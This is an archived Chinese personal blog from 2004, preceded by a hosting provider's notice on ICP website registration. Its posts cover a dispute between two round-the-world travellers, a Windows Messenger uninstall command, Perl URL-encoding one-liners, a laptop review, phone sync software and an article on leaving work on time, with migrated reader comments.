　　为了规范互联网信息服务活动，促进互联网信息服务健康有序发展，根据国务院令第292号《互联网信息服务管理办法》(http://www.51.net/pass_292.php)和信息产业部令第33号《非经营性互联网信息服务备案管理办法》(http://www.mii.gov.cn/mii/zcfg/bl33.htm)规定，国家对经营性互联网信息服务实行许可制度，对非经营性互联网信息服务实行备案制度。未取得许可或者未履行备案手续的，不得从事互联网信息服务，否则就属于违法行为。国家有关部门即将在全国范围内开展网站审查工作，对于没有办理经营许可证或非经营性互联网信息服务备案的网站，将予以罚款或关闭网站。

　　为了配合国家有关部门的检查工作，同时也为了您网站的自身利益，请您根据自己网站性质，务必在2005年5月20日之前办理ICP经营许可证或非经营性互联网信息服务备案手续。

　　我公司用户可通过下列方法办理备案：

　　1、直接登录“信息产业部ICP/IP地址信息备案管理系统”（http://www.miibeian.gov.cn/login.jsp）注册进行备案。

　　2、联系当地通信管理局办理。

　　特别提醒：

　　中华人民共和国国务院令第292号《互联网信息服务管理办法》第十九条规定，未取得经营许可证，擅自从事经营性互联网信息服务，或者超出许可的项目提供服务的，由省、自治区、直辖市电信管理机构责令限期改正，有违法所得的，没收违法所得，处违法所得3倍以上5倍以下的罚款；没有违法所得或者违法所得不足5万元的，处10万元以上100万元以下的罚款。

　　根据中华人民共和国信息产业部令第33号《非经营性互联网信息服务备案管理办法》第二十二条规定，未履行备案手续提供非经营性互联网信息服务的，由住所所在地省通信管理局责令限期改正，并处一万元罚款；拒不改正的，关闭网站。

　　感谢您对虎翼网的支持与合作！

马中欣质疑朱兆瑞环球旅行

Thu, 18 Mar 2004 12:16:38 +0800

他说，真正的旅行的乐趣在于深入当地的生活，只有住进青年宾馆，只有和来自世界各地的旅行者交流的时候，你才会感受到旅行的意义，许多时候，其中的乐趣和过程中对生活的感悟是观光和旅游所不能给予的。马中欣谈导他在雪国尼泊尔遇见的一位异人Teo，Teo是个瑞士画家，瑞士人均收入在世界上是属异属二的，没有失业，但Teo放弃了优裕的生活，只身来到尼泊尔，除了画具外一无所有，晚上睡依仗铺草的床板，可他却通过画画捐赠了100多万美元为当地建造了三所学校，二十多年前第一次见到Teo，和二十多年后，马中欣再次踏访这块土地的时候，再遇老朋友的惊讶和喜悦不是每个人都有机会经历的。

马中欣质疑朱兆瑞环球旅行在新国际展览中心召开的世界旅游资源博览会的同一个会议室里，美籍环球自助旅行家马中欣和“3000美金周游世界”的朱兆瑞先后举行了两场讲座。马中欣，皮肤黝黑，看起来长得很结实，一边放映着旅行沿途中拍摄的照片，一边悠悠得和大家分享他所总结的二十几年来环球旅行最为欣赏得意的世界七大景区。一个小时之后，门外潮水似得涌进了一大群人，原先空着的一些座位不仅迅速被占满，很快，不是很宽敞的会议室的过道上都站满了人，台前论坛某银行赞助商的广告上迅速得被贴上了“3000美金，我周游了世界”的宣传画。朱兆瑞，一个很清瘦的年轻人，几乎是以不打嗝楞的飞快语速将40分钟的演讲一气呵成，关键时刻“时间有限，感兴趣的可以看我书中介绍”一笔带过，演讲结束之后的签名售书竟然排起了长龙。两天的时间里，500本书被抢购一空。就在朱兆瑞演讲的会议室外，当马中欣被问及对朱兆瑞环球经济旅行有什么看法的时候，他说：“经济旅行，我1982年就提出来了，朱兆瑞还需要谦虚，还需要多学习，多走走，一次环球是不够的，他应该去积累更加多的经验。” 两个完全不同的人这是两个完全不同的人，马中欣讲座之后，向他讨名片，他竟然没有，甚至没有任何可供联系的国内电话号码，采访只能约在晚上在他朋友的万航渡路上的一处工作室里进行，这显然已经成为了他的生活方式，只要出门在外，能不住酒店就尽量省下那笔钱，对于认识他的人来说，这已经不是个私人秘密，就像他一直挂在嘴边的那句话，“我们自助旅行的，宁死也不给小费”，显然与他不断的宣传唠叨有关。 “唠叨”是采访马中欣过程中对他个人一个不是很准确的表述，他说话很随便，想到哪就讲到哪，之前一个同行曾经说她的采访共花了四个小时，想到如果不是每次及时得把话题拉回，可能当晚的采访也不会浓缩在两个小时里面。汗衫、棉布长裤，当然还有贝雷帽，那顶在南极冰海裸体奔跑时都不舍得摘下的标志性的贝雷帽。那天晚上，上海正好降温。看得出，马中欣是个天生的旅行家。朱兆瑞，瘦瘦高高，无论是当天的演讲，还是第二天在东广做节目，碰到他时，都是西装革履，他是拿着印刷精美的个人简介来参加旅游博览会的。封面标题和设计相当吸引人，“一个MBA的经济旅行学”、“3000美金我周游了世界”、“首创全球同步上市，发行量超过150000册中国大陆第一本图书被大英图书馆、剑桥图书馆双重馆藏”。在演讲之前，他在桌上码起了一大摞他写的书，认识中拿到的名片竟然是他那本书封面的缩小版，而并非让人非常好奇的他目前服务的哪家公司。演讲之后，他跟身边人说的第一句话就是“你看，今天讲得怎么样？”尽管交往不深，但是从谈吐从举止上可以看出，他是被系统训练过的，就像他演讲中强调的那样“我是一个MBA，我有十年的跨国公司的采购经验。”

“他只是个观光客！” 在马中欣的住处，他首先谈到的就是对朱兆瑞的看法，他说，当时有媒体问他对“3000美金周游世界的看法”，他并不是脱口而出，是犹豫过，是稍加酝酿的，但是还是表现出了不满，他说，作为一个周游世界的旅行家而言，最重要的是关注旅行带来的人生感悟，他觉得：“真正能称为旅行家的人是需要有很谦虚的态度的，生活态度也是应该非常淡泊，才周游世界一圈，也许还不足以称之为旅行。”旅行和旅游对于马中欣而言显然是不同的两个概念，这两个概念的不同意义，在后来采访朱兆瑞的时候，竟然他也表示同意。 “他充其量是一个观光客，而不是旅行家。”马中欣是非常注重旅行内容、旅行过程的人，他把概念分得非常清楚，这也许是受他二十几年来二十几次环球旅行的经历所影响。他说，钱并不是环球旅行中真正的卖点，也不应该成为一个卖点，更不是一个关键因素，言外之意，他对朱兆瑞的一些读者提出了批评。他说，真正的旅行的乐趣在于深入当地的生活，只有住进青年宾馆，只有和来自世界各地的旅行者交流的时候，你才会感受到旅行的意义，许多时候，其中的乐趣和过程中对生活的感悟是观光和旅游所不能给予的。马中欣谈导他在雪国尼泊尔遇见的一位异人Teo，Teo是个瑞士画家，瑞士人均收入在世界上是属异属二的，没有失业，但Teo放弃了优裕的生活，只身来到尼泊尔，除了画具外一无所有，晚上睡依仗铺草的床板，可他却通过画画捐赠了100多万美元为当地建造了三所学校，二十多年前第一次见到Teo，和二十多年后，马中欣再次踏访这块土地的时候，再遇老朋友的惊讶和喜悦不是每个人都有机会经历的。这个观点朱兆瑞是不能接受的，他说，旅行就根本不应该是萝卜加面包的苦行僧，他说：“我的环球旅行追求的最佳性价比，用最少的钱去换得最舒适的旅途服务，八分钱买张国际机票，35美元三天两夜游，住五星级酒店，还能吃大餐。” 显然这两个人对对方的旅行方式都不能苟同。马中欣说：“在国外，不要说3000美金，就是2000美金也有人能够周游世界的，一张682英镑的环球机票可以飞行5万公里，一张355英镑的欧洲火车通票可以周游28个国家，这种环球游的方式对于许多国外的旅行者而言，都是不屑一顾的。但是马中欣竟然能把这些在国外看似家常便饭的事当成一件事，倒到国内还成了一个‘3000美金周游世界’的代言人，显然是炒作过了火。旅行是一件非常实在的事，何况他只是经历一回，拿这样的经历去教别人，可能会给别人带来误导。环球旅行有着不同的理由，不同的意义，不要为了环球旅行而去环球旅行，否则就会丢失许多环球旅行本身的意义。” 谁让朱兆瑞成了名今天的这种情况其实也是大大出乎朱兆瑞的预计。和朱兆瑞一起吃饭的时候，他聊起自己周游世界的初衷，他说，其实周游世界一直是许多人孩提时候的梦想，他是学MBA的，只是希望一个难得的带薪假能给自己今后的人生带来些投资意义，所以他选择了环球游，他选的城市，大多是北美国家，这些国家是大多数500强企业的总部，同时也是世界名校比较集中的地方。周游世界当初最早的想法只是对这些城市的经济管理方面的考察。回到沈阳老家，一个刚出道的记者将一篇“沈阳一市民9000元环球游”的文章把朱兆瑞带到了现在的生活状态中。目前朱兆瑞已经放弃了在英国年薪可观的工作，时间都安排在了全国各大高校的演讲中，采访的第二天，他就去了南师大做演讲。他说，他现在最希望能成为国外旅行社的首席代表。看得出，朱兆瑞对自己书的畅销也是有点惊奇的，出书的理由也是仿佛很被动，被好奇的人问得多了，他就希望通过书的方式向大家讲述环球游的过程。目前这本书已经第四版，印了18万册。朱兆瑞对别人对他书的看法非常在意，他希望能了解，大家看书的不同目的，对于这本书以及个人的成名，他说：“是信息的不对称成就了我”。国情的不同，比如国外充分竞争情况下的机票的价格，国外有些时段的航班都很便宜，不过机上只有一个空姐服务，饮料等都是另外要付费的。更重要的是对信息的重视和处理能力，这些都是朱兆瑞对自己的分析。他说自己养成的一个最好的习惯就是每天都买报纸，许多信息，之所有能有如此高的旅游性价比，是因为对信息的重视和处理能力，一则花费一美元的《世界日报》的广告“70美元三天两夜游，买二送二”吸引了他，他提前一天让这个五星级酒店的服务员贴出小广告，当他到了这个酒店的时候就有数十人和他联系，他挑了三位，每人用35美元就完成了三天的旅游，而且还住上了五星级。说到拿到44国和地区的签证，这是许多人对朱兆瑞提出最多质疑的地方，同时也恰恰促成了他想写第二本书《我是如何获得44国签证》。同样的问题对于马中欣而言，根本就不成问题，因为他用的是美国护照，但对于一个中国公民来说，签证一直是一个比较头疼的事情。朱兆瑞说，其实只要认真分析各国的签证制度，就可以轻松安排，他实际上只是在法国办了申根签证，之后就可以免签去许多欧洲国家，瑞士是对在英国学习半年以上的中国公民免签的，而最长的美国签证也只是用了一个星期，从美国去墨西哥当天来回也是免签的，东欧国家可以在维也纳的一条街上集中全部办理好，这些在许多人眼中的障碍就像所需金钱花费一样，都是很简单的问题，这样一看，想想马中欣的态度，倒也好像没有过错。 “我把地球踩了个遍！” 马中欣并不是高大魁梧之人，但是见过他拍的照片，听过他的故事之后，你不得不承认他是条汉子。貌不惊人、落拓不*的他1942年生于兰州，1946年随家迁台湾，1982年移居美国，当过石油开采工程师、摄影师、古董珠宝商。 1981年夏，他39岁，带着一个8岁、一个5岁的两个儿子背着背包环游世界，从此马中欣走上了自助旅行的道路。1982年夏，旅居美国的马中欣又用了三年的时间做第二次的海外探险旅行，深入中亚大陆、欧洲、南北美洲、非洲、大洋洲及南北极各地。1985年至2002年期间，又环球旅行达12次，到过160个国家，其中包括亚马逊河、尼罗河、撒哈拉沙漠、帕米尔高原、克什米尔、西藏和塔克拉马干沙漠等艰险地区。 1994年与1996年，国家海洋局两度特别邀请他参加中国南极考察队，前往南极中山站和长城站考察。1996年的圣诞夜，极地正是永昼，面对绮丽的冰之世界，马中欣在极度激动之下做出了一个近乎疯狂的举动：他脱光了浑身衣服，赤裸着在十极大风和零下十几度的船甲板上跑步，不久登上陆地，他又在冰天雪地里赤裸了一个小时，还跳下冰海游泳。没人去考证过，这是否创了一个世界纪录。马中欣认为，他在南极裸体，是一种拥抱大自然的方式，还想考验以下人体承受力和意志的极限。

💬 历史评论

以下 9 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

SummerRain · 2004-04-01 09:34

刚看了朱兆瑞写的书,觉得他的省钱经验还是值得借鉴的。马中欣的批评太过严厉了，旅行有每个人自己的方式，这样的打压有门户之见!

Platinum · 2004-04-12 11:14

“属异属二”——赶紧改，呵呵

英国留学生代表 · 2005-10-25 10:45

全体曾赴欧自助旅行过的英国留学生均觉得老朱太太太太太太能吹了。大家都把他的书当茶余饭后的笑话看。

helen · 2005-11-28 23:38

朱兆瑞，像个小丑。什么大英博物馆收藏他的书，认识英文得人都能从照片上看出来，是他自己捐赠的。地球人都知道捐赠和收藏的区别。

hardelen · 2006-01-13 23:03

朱兆瑞他只是向大家讲述了他环游世界的故事,告诉大家一个不怎么富裕的人也能做环球旅行,并且他是国内公开讲述故事的第一个人,仅次而已,他有做错了什么?他只是个刚毕业的学生,又不专门的旅行者,况且他也不是美国人,不像老美那么有钱,那么容易搞定签证,对于我们中国人而言,能绕这地球跑一圈已经是件不容易的事情了.批评他的人恐怕只是由于演讲当天场面的差异造成心理不平衡了吧.

SAIL · 2006-03-22 13:12

管它呢,自己开心就好了.

crand · 2006-09-15 10:40

卸载Windows Messenger: 一句命令

Tue, 16 Mar 2004 14:31:45 +0800

高春辉的 BLOG

RunDll32 advpack.dll,LaunchINFSection %windir%\INF\msmsgs.inf,BLC.Remove

更新：2007-06-22 我最近又开始使用Windows Messenger了，而且我发现，很多人（尤其是联系人多的）都改为使用MSN 7.5了，8.0版本以后的MSN变得越来越冗长。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

WuShuang · 2004-06-22 19:54

这样运行了当时能够卸载，但是过一段时间，只要一用msn messanger它就会自动重新装上，不知道有没有更彻底的办法？

Pascal CHEN · 2005-03-27 11:34

thank you very much!!!!

夏天，我喜欢寒冷的国家……

Mon, 15 Mar 2004 09:25:59 +0800

炎热的夏天你愿意怎么消暑（单选）

A 到原始森林去 B 到有水的地方去 C 待在冷气房 D 吃冰 E 去寒冷的国家

答案
√ 到原始森林去你对感情很执著，但比较自我

√ 到有水的地方去爱情对你来说比生命还重要

√ 待在冷气房你是一个容易动情的人

√ 吃冰感情来的快去的也快

√ 去寒冷的国家爱情对你来说可有可无

其实更科学的一些测试：16PF测试，我是INTJ型

我的Enneagram Test- The Riso-Hudson Type Indicator (Version 2.0)9项得分： 7 Type 1: The Reformer. The rational, idealistic type.
4 Type 2: The Helper. The caring, nurturing type.
4 Type 3: The Motivator. The adaptable, success-oriented typ 4 Type 4: The Artist. The intuitive, reserved type.
5 Type 5: The Thinker. The perceptive, cerebral type.
3 Type 6: The Skeptic. The committed, security-oriented type 4 Type 7: The Generalist. The enthusiastic, productive type. 2 Type 8: The Leader. The powerful, aggressive type.
3 Type 9: The Peacemaker. The easygoing, accommodating type.

搜索引擎作弊（WEB SPAM）的分类

Fri, 12 Mar 2004 11:31:06 +0800

White Paper : The Classification of Search Engine Spam

2005-02-18: Search Engine Spam Defined - by Spider Food

Search engine 搜索引擎定义 Relevancy 相关度 Search Engine Spam 搜索引擎作弊 Not Search Engine Spam 非搜索引擎作弊 Content spam 内容作弊 Meta spam META标记作弊 Link farm 链接工厂 Link content spam 链接文字作弊 Link meta spam 链接META标记作弊 Agent-Based Spam 基于浏览器的作弊 IP Cloaking IP掩护

周末的两个摄影影展

Tue, 09 Mar 2004 10:48:11 +0800

周六是一起去可可西里的朋友聚会，听了苏京平老师亲自解说的在线影展；但是令我印象更深的是4年之后苏老师对野牦牛队的评价：他们是高原上演绎的现代版《水浒》，一群充满个性和理想的人在用自己的方式“替天行道”，但他们最后的下场并不浪漫……

周日是和garfield一起去看的‘维姆·文德斯摄影展’

苏京平老师所有这些照片都是用非职业化的“奥林斯”小型傻瓜相机，在采访途中随意抓取拍摄的，没有任何“讲究”只是忠实纪录而己。或许还是这样一种真实会给您带来更多身临其境的感受和别有意味的思考。 !](http://forum.bjradio.cn/dv6_new/dispbbs.asp?boardID=67&ID=323824) 甘孜草原上的牧马人

garfield特别注意到了照片上那两片叶子：一片红叶，一片黄色的枯叶。它们和布满年轮的深青色岩石比形成鲜明的对比，“一岁一枯容”显得是那么短暂和渺小……

garfield 写道:

使生如夏花之绚烂，死若秋叶之静美。　　　　　　　　　　　　　　　　

Let life be beautiful like summer flowers and death like autumn leaves.

是泰戈尔《飞鸟集》中的诗句。

诗中有画，画中有诗。这是摄影作品的视觉美感中潜伏的意境美。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

garfield · 2004-04-02 09:29

这几天有人看了你的blog，问我那两片叶子有什么意思。我想告诉他们：“生如夏花之绚烂，死若秋叶之静美”。

含情看剑 · 2004-12-08 13:38

刚听了苏京平老师的讲座，恰好又看到你的blog，很巧：）

Oneliner's url encode (urlencode) and url decode (urldecode) in Perl

Mon, 08 Mar 2004 15:47:00 +0800

准备关键词测试时经常需要进行UrlEncode和UrlDecode，以下是2个常用的单行Perl脚本（正则表达式）：输入为日志或关键词列表

Urlencode：对 \n 不转码
perl -p -e ’s/([^\w-.@])/$1 eq “\n” ? “\n”:sprintf("%%%2.2x",ord($1))/eg’ keywords.list
UrlDecode：
perl -p -e ’s/%(..)/pack(“c”, hex($1))/eg’ query.log

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Che Dong · 2004-09-14 15:06

使用iconv做编码转换： iconv -f -t input_file -f: from encoding -t: to encoding 比如： iconv -f utf-8 -t gb2312 wget.output

用来做UTF-8输出文件的编码转换挺方便的。这样在Linux上也能直接查看UTF-8的输出了。

我爱小甜饼 · 2006-05-24 16:39

在perl代码中需要将字符串转换为编码后的URL可以这么做： use URI::URL;

my $str = “http://www.google.com/?a=a b c&b=c d e”;

my $url = URI::URL->new( $str );

歌词：《魔力大道》－环球影视篇尾曲

Sun, 07 Mar 2004 12:40:00 +0800

妮妮转给我的，也是我想在昨晚八人晚餐上想念的……

她一部电影要看上百遍同样的罪行同样的场景她工作的时候总是一个人她帮人领位找最后一把椅子或是第一排的位置大银幕上日日夜夜的爱情对白就象风一般在她耳边来去她就这么看淡了别人的爱情但有的时候一个画面也会让她感动她在黑暗中奇怪地生活在这条魔力大道上她永远遮掩着她的绝望她静静地不去打扰那些情人们他们闭着眼睛错过了电影画面她把梦想连同冰激淋一起出售一个微笑不经意地划过她的唇边拿着手电筒的她感觉自己很美可以去做电影明星有的时候剧场里空无一人整个电影就是她的演出她就是英格丽褒曼她看着来来往往的人群那些她熟悉的人们那些冰冷的人们从来不说一个字从来没有人与她握手她的眼泪于是流下来在银幕上出现“剧终”的时候

没想到<s> <u>居然是deprecated HTML标记

Thu, 04 Mar 2004 17:10:20 +0800

没想到~~ 居然是deprecated HTML标记

HTML Tags ![](http://www.visibone.com/html/tags/tna1_aip64.gif)

更多HTML参考：deprecated html tags http://www.w3schools.com/html/html_reference.asp

ColdTea

Thu, 04 Mar 2004 17:02:32 +0800

今天从来源里的:::…4 Elements Weblog…::: 看到了这个网站

在线个性出版真是越来越自由了。去年最后一期还有今天在电影资料馆看《Kill Bill》，简单的来说，我觉得杀死比尔＝精武门的黑客帝国版或者说李小龙的金发女郎版

2005-04-24 今天很多CoolTea的图片都找不到了，不知道他们是否有备案。

凤凰卫视天气预报的背景音乐《兰花》：Yanni's "With an orchid"

Sun, 29 Feb 2004 00:41:20 +0800

终于找到了凤凰卫视天气预报的背景音乐《兰花》：Yanni’s “With an orchid” MP3格式，音质不太好，我已经将这个下载删除了，问这个的还挺多：凤凰网有问有答服务区里有回答。

~~我已经把Yanne 2000年那张专辑加入自己的Wish list里，但愿那个好心人能送我一份……~~已经收到了，感谢Victor Fong。

不过看天气预报还是为了今天白天去云居寺的游玩。

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

tristones · 2004-03-01 15:46

http://www.wunderground.com/global/stations/58362.html 这个站点的天气预报功能不错，数据比较详细，准确度要比msn得好。

http://tristones.viaspeip.com

Frank · 2004-04-09 18:09

如何表达我的崇敬之情呢，我找凤凰卫视的背景音乐也很久了。今天周末在单位加班，心中突然回响起了这首旋律，心向再上GOOGLE去看看吧，因为我以前已经搜过很多次了，不想竟然发现了你的帖子，真是天意吧！也不知道你能否看见我的跟贴，总之衷心地感谢你也祝福你！一会去买CD啦！

渦輪增壓 · 2004-12-03 04:15

哇…兄台,,,, 萬份感謝啊…..終於…終於…找到了…

JUNE · 2006-03-28 15:52

很久以前（约85-88年）在中央人民广播电台听过一首叫《山魂》的纯音乐，非常优美动听，我仅听过一遍，至今那悠扬的旋律仍然依稀萦绕耳畔，哪位朋友如有该曲子的信息望能提供线索，拜谢！

pc · 2006-05-01 12:34

很好听的音乐好好享受哦

在Google上查：Nerd的定义

Mon, 23 Feb 2004 00:59:59 +0800

今天学到了一个新词，形容一个人很"nerdly"，比较偏执，内向而又十分聪明的那种人，比较近似的词就是“Geek”，但是Nerd更愿意跟你讨论问题，最大的Nerd集散地是Slashdot: News for nerds, stuff that matters 一开始，我以为Nerd类似于北京话说的“葛”（这可不是什么好词儿）。在Google上查：Nerd的定义http://www.google.com/search?q=define%3Anerd

Definitions of Nerd on the Web:

Someone so unfortunate as to believe that all conversations might productively revolve around computing and IT issues. Interestingly, only a nerd might know that the word derives from the 1950 Dr. Seuss book 'If I Ran the Zoo' from which: "And then, just to show them, I'll sail to Ka-Troo - And Bring Back an It-Kutch, a Preep and a Proo - A Nerkle, a Nerd, and a Seersucker, too!" See Geek. [www.pads.ahds.ac.uk:81/glossary2.html](http://www.pads.ahds.ac.uk:81/glossary2.html)

那些三句话不离计算机和IT的人。有趣的是：Nerd最早出现于1950年Seuss博士的儿童读物《如果我来管动物园》：原文……略 Something akin to the term ‘Geek’, the exact distinction has been lost (at least by me, and this is my list!). Ages and ages ago, a group of friends, some of Electrical Engineering majors and others Computer Science majors had decided that EEs were one, and CS were the other. I don’t recall which was which. I have also seen it said a nerd is someone who is immersed in technology, a geek is a nerd that enjoys it. Whatever. -O- Open Archetecture: Something good, but rarely defined past that. Our system is Open Archetecture, the competition’s system is not. Few people will argue with that definition. I’ve seen almost every computer, including the IBM AS/400 at one time or another called “Open Archetecture” It is supposed to mean something about being able to put other manufacturers hardware and software on a system, but truely closed systems no longer exist, so now it is mostly a way of self-praise and competitor bashing. www.nickh.org/computer/glossary.html 和geek不同的是: nerd迷失了自己，多年以前，那些电子工程系的人认为自己是前者，那些计算机系的人认为自己是后者，具体我想不起谁是谁了，nerd是指那些过度沉湎于技术，而geek虽然是nerd，但只是享受技术带来的快乐。

NEC E660 就是风扇噪音有点大

Thu, 19 Feb 2004 22:50:10 +0800

2月28日：今天去中关村本想买个USB蓝牙，连我的T618，发现都比较贵，160￥－400￥都有。后来去恒昌问了技术支持，说：NEC那个红外其实是缺省主板BIOS里没有打开所致。回家一试，果然。看来有些评测报告说E660没有红外支持是因为没有仔细研究说明书……

情人节买了台笔记本代替公司的台式机，本来考虑了DELL的X300。最后还是感觉我最需要的还是代替公司的台式机，大屏幕，键盘要舒服，其他没什么要求。最后选择了NEC的E660，13499￥可能是目前主流15.1’屏幕笔记本中比较便宜的吧：P4 2.2G 内存：256M + 256M（赠） COMBO 居然还有软驱，4个USB，和一个SD卡读卡器，没红外，显存也是共享的 8M－128M（恒昌骗我说是独立的），硬盘：40G。

用了一周感觉屏幕不错，在公司不用大家挤在一起看东西了，键盘也比较舒服（7排，标准键距），速度很快，赠送的WINDOWS XP HOME真让我感觉到了一些效率提升。终于用上512M（480 ＋ 32）内存了。

最糟的感受：噪音刚开始用，我已经感觉到有时候风扇噪音比较大，~~另外，恒昌连锁说赠原装内存，但一周也没送到，让我对售后服务很担心~~，在周末装了更多内存后，感觉硬盘读写和CPU都少了，风扇噪音也有所下降（笔记本不是风扇散热）……后来去中关村店问，他们的建议居然是将后面的支架架起来方便散热。

~~其他设备我还真没怎么用上，不能用红外很麻烦。以后还要再买蓝牙，无线网卡之类的。要是把软驱换成是红外和蓝牙支持就好了……~~ 用了红外后，机器无辜蓝屏了数次，后来总算是稳定了。终于可以用Mobile Studio了。

很多同事都不建议我买NEC，说质量差，西西更直说我这太难看，整个就是台移动PC……之前考虑过IBM的，结实。但即使是R系列的价格还是太高，DELL X300（看中服务）：但是后来发现居然从分销商那里能拿到比网上更便宜的，而且差价几千，本来还考虑过分期付款买HP的NX 7000，手续办理很麻烦，而且要一个月后才能出货，后来还发现是宽屏。我基本上不考虑1024以上分辨率的机器，因为工作还需要经常按照主流用户的1024的分辨率做感受比较。我买东西基本上就是只买够用的：以前买的移动PC留给家里人用，今天（3月28日）买了一个TPLINK的5口集线器，设置了自己的XP共享连接后，终于不用跟家人争机器上网了。

2月23日：机器内部总是不时出现“呵叻呵叻”的声音；

2月20日：恒昌终于把内存送来了：Kington 256M DDR 266；

5月24日：如MyDevice所说：屏幕中间凸起，不过的确非常适合多人一起看。塑料表面的确很脆弱，碰掉不少漆。

💬 历史评论

以下 10 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

myadvice · 2004-05-20 08:55

老兄你好，咋回答了你的问题又看不见了，俺也是用的这个。该款有红外线的，是ALI的芯片，具体位置在电脑前侧外接表克风旁边。默认情况下BIOS中没有设为Enable，进入BIOS设了就可以了。对了，我这台电脑当屏幕合上后有没有发现屏幕前端两边比中间要高些，感觉不是平的。

myadvice · 2004-05-20 08:59

不好意思，写错了，你说总死机的问题是因为ALI南桥芯片组驱动的BUG，到ALI的网站下个最新的驱动装上就OK了。有啥问题我们可以随时交流一下。俺的QQ是：4860230

Che Dong · 2004-05-20 11:28

谢谢关于ALI驱动的提示，我去找找

关于：“电脑当屏幕合上后有没有发现屏幕前端两边比中间要高些，感觉不是平的。”

这个据推销员说是严丝合缝的关闭后不利于刚刚用完的笔记本散热。

myadvice · 2004-05-20 18:35

9494

当时推销的也这么说，但是内情人士说是设计Bug，这样做了是为了让广告中的160度观看任可以看清屏幕上的内容更可信，想想中间高两边低的屏幕在边上看是啥情形。

对了，MyDrivers上的关于ATI　IGP 340M的新驱动最好别下，我下了几次都是文件破坏。连ATI总总也这样。

myadvice · 2004-05-20 18:37

索爱T618的两款手机/PC同步软件：Mobile Studio XP和Floats Mobile Agent - FMA

Thu, 19 Feb 2004 22:15:13 +0800

以前用Simens 3568i就开始用分形工作室的Mobile Studio了。支持T618的是Mobile Studio XP，支持红外线和蓝牙模式，但在红外线连接模式下，无法进行文件浏览，不支持数据线。各种功能都不错：通讯录管理，短信，截取照片等，还有打包电子书的功能，就是经常出现系统错误，CPU 100%占用，而且无法关闭，只能硬关机，这是我个人的使用检验。

另外是一个在SourceForge上基于GPL协议的开源软件Floats Mobile Agent - FMA，目前是sourceforge上最热门的TOP 100的项目之一。除了红外线和蓝牙外，还支持数据线。界面非常不错，功能也更全面。问题是：但是不支持中文的短信：在软件里发送/浏览都是正常中文，但手机收到的实际是单字节的乱码。已经有人在SOURCEFORGE提交反馈，鼓励中文用户都能够积极参与建议，另外，在文件管理方面，需要一个文件一个文件复制也很麻烦，不如分形的Mobile Studio方便。但是在开发和改进上的确比分形工作室更开放。

T618的设计的确有很多不足：我最近想到的列举如下： T618的照片功能基本就是一个摆设；未接电话过了一天后，就不显示时间了。所以晚上睡着了别人来的电话，根本不知道昨天是什么时间打过来的；有了闹铃以后：右下脚的日期就不显示了，一直显示闹铃时间，难道闹铃时间需要时时刻刻知道吗？选择联系人麻烦：每次都是按照最长路线：选择联系人，查找，选择用户这样遍历一遍；，而且联系人居然无法通过拼音首字母进行定位，不得不把所有人的名字前加一个字母方便索引。

2004/03/18 FMA 1.0.1.33c版本终于修正了多字节问题的BUG，发短信支持中文了！而且在开发者列表中看到了一些中文名：Ju Ming 新买手机也考虑了一定要有个软件支持备份通讯录，首先是通讯录的同步和备份。其次是有了拍照功能以后，文件管理也变得非常重要，否则拍照功能利用率也不高。

2006-05-27 升级到2.1.3系列后，FMA对中文的支持已经不错了而且也有了中文的界面。

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

easylibrarian · 2004-03-25 16:36

我的新moblog是： http://mylibrary.csdl.ac.cn/moblog/

wenzi · 2006-05-28 22:47

还是没有找到FMA 2.1.3.22a Beta 3,呀~只找到了.fma-2.1-beta-3-setup.2.1.1.102这个版本.

能给个FMA 2.1.3.22a Beta 3的下载地址吗?

Ryan · 2006-12-06 11:36

找不到FMA 2.1.3系列版本下载地址呀!! 给你下载地址吧!!

shel lee · 2007-09-12 14:20

这里可以下载到

http://sourceforge.net/project/showfiles.php?group_id=71167

下班本來就是應該的

Wed, 18 Feb 2004 17:30:50 +0800

資料來源：天下雜誌整理：Xeras Xiang 日期：OCT-25-2003

企管專家認為，不管辦公室有多少工作，時間到了最好就離開，不僅如此，最好五點就下班。「怎麼可能？那麼事情更做不完」你心裡不以為然的想。先別急，聽聽專家的理由是什麼。

理由1. 讓你更有效率多數的辦公室工作十分繁瑣，沒有明確的開始與結束。正由於事情千頭萬緒，你很容易這個做一點、那個進行一半，結果沒有一件有結果，迫使你以加班來趕工，?一方面也安慰自己的心理。但是，如果你的下班時間是五點，那麼你就得盤算一下，在一天有限的時數內，該先做那些事？少和同事聊天，多用點時間思考都好！一昧埋頭長時間工作而不思考，容易做虛工，而且會失去看事情的整體觀。

理由2-對你的上司有教育作用

不要過度擴大上司對你的期望；如果你常常讓上司看到你留下來加班，他會開始認為你很願意加班，久了就變成你應該加班。不要讓上司以工作時間的長短來評估你的表現。

理由3-對你的屬下有教育作用讓你的屬下學著在有限的時間內，分配工作的優先次序。明確的表示你下班就會離開，到時候他們應該完成的工作或報告，就應該交到你桌上。

理由4-迫使你釐清價值觀想清楚你生命中最重要的是家庭或是工作？當然不加班、不拼命工作，可能讓你失去許多表現機會，錯過加薪與升遷。但是你不會辛苦工作像條狗似的，到了四、五十歲，突然覺得愧對家人、愧對自己的生命。

理由5-讓你走在時代尖端

企管顧問觀察到一個趨勢，這兩年愈來愈多的人認為，生命中比工作重要的東西還有許多；工作時間長的人不再被視為英雄，反而被看成不懂生命的人。現在懂得拒絕長時間工作的人，將是未來的領導人物。

理由6-讓偶一為之的加班變得有趣常常加班，同事之間會生膩，合作的興奮感也全無。如果大家平常準時下班，碰到緊急狀況或工作時，大夥晚上一起留在辦公室；有人從外面提了便當走進來，一邊吃飯、一邊討論，這時候很容易顯出團隊合作的革命情感。

理由7-讓你免於枯竭的惡性循環你愈加班，愈覺得事情做不完；愈覺得事情做不完，工作就拖的愈長。這樣的惡性循環遲早會讓你崩潰。

理由8-讓你善用休閒時間工作之餘的時間不應只是休息、睡覺，以便讓你第二天有精力繼續工作。何不培養些興趣？如果你五點下班，你可以有時間去學外語、去彈吉他、參加才藝活動，這會讓你成為一個更活潑、更有能力、更有趣的人。

